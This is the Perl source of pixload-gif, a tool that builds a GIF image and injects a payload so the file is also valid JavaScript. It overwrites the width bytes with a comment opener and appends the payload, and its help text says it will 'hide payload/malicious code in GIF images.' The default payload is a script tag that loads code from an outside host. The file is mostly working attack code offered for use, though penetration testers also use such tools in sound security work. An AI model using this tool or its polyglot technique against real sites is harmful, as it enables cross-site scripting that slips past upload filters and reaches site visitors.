pixload-gif.in

#!/usr/bin/env perl
#
# GIF Payload Creator/Injector
#
# coded by sighook <alexandr.savca89@gmail.com>
# credits to Marco Ramilli <https://marcoramilli.com>
#
# See LICENSE file for copyright and license details.
#

use strict;
use warnings;

use feature 'say';

use POSIX;
use Getopt::Long qw(:config no_ignore_case);
use File::Basename;

use constant PROGRAM => basename $0;
use constant VERSION => '@VERSION@';

use GD;

# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
#                              Default Options                                #
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #

my %opts = (
    pixelwidth      => 32,
    pixelheight     => 32,
    payload         => '<script src=//example.com></script>',
);

# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
#                                Subroutines                                  #
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #

sub create_gif {
    say "[>] Generating output file";

    my $img = GD::Image->new(
        $opts{pixelwidth},
        $opts{pixelheight},
        # set 1 to TrueColor (24 bits of color data), default is 8-bit palette
        1,
    );

    my $color = $img->colorAllocate(0, 0, 0);

    $img->setPixel(0, 0, $color);

    sysopen my $fh, $opts{FILE}, O_CREAT|O_WRONLY;
    syswrite   $fh, $img->gif;
    close      $fh;

    say "[✔] File saved to: $opts{FILE}\n";
}

sub inject_payload {
    say "[>] Injecting payload into $opts{FILE}";

    sysopen my $fh, $opts{FILE}, O_WRONLY;
    sysseek    $fh, 6, SEEK_SET;

    syswrite   $fh, "\x2f\x2a";
    sysseek    $fh, 0, SEEK_END;

    syswrite   $fh, "\x2a\x2f\x3d\x31\x3b";
    syswrite   $fh, $opts{payload};
    syswrite   $fh, "\x3b";

    close      $fh;

    say "[✔] Payload was injected successfully\n";
}

sub banner {
    <<EOF;
...... GIF Payload Creator/Injector ......
..........................................
... https://github.com/sighook/pixload ...
..........................................
EOF
}

sub usage {
    <<"EOF";
Usage: @{[ PROGRAM ]} [OPTION]... FILE
Hide payload/malicious code in GIF images.

Mandatory arguments to long options are mandatory for short options too.
  -W, --pixelwidth  INTEGER   (has no effect)
                              set pixel width for the new image (default: 10799)
  -H, --pixelheight INTEGER   set pixel height for the new image (default: 32)
  -P, --payload     STRING    set payload for injection
  -v, --version               print version and exit
  -h, --help                  print help and exit

The option -W, --pixelwidth has no effect since @{[ PROGRAM ]} rewrites
pixel width bytes with "/*" characters, to prepare the polyglot gif image.

If the output FILE already exists, then the payload will be injected into this
existing file. Otherwise, the new one will be created with specified pixels
wide.
EOF
}

sub version {
    PROGRAM . " " . VERSION;
}

sub main {
    # command-line options
    GetOptions(
        'h|help!'           =>  \$opts{help},
        'v|version!'        =>  \$opts{version},
        'P|payload=s'       =>  \$opts{payload},
        'W|pixelwidth=i'    =>  \$opts{pixelwidth},
        'H|pixelheight=i'   =>  \$opts{pixelheight},
    ) or die "$!\n";

    $opts{FILE} = shift @ARGV;

    say &usage    and  exit(0)  if   $opts{help};
    say &version  and  exit(0)  if   $opts{version};
    say &usage    and  exit(1)  if ! $opts{FILE};

    say &banner;

    &create_gif if ! -f $opts{FILE};
    &inject_payload;

    if    (-f '/usr/bin/file'   ) { say `file       $opts{FILE}` }

    if    (-f '/usr/bin/hexdump') { say `hexdump -C $opts{FILE}` }
    elsif (-f '/usr/bin/xxd'    ) { say `xxd        $opts{FILE}` }
}

&main;

# vim:sw=4:ts=4:sts=4:et:cc=80
# End of file.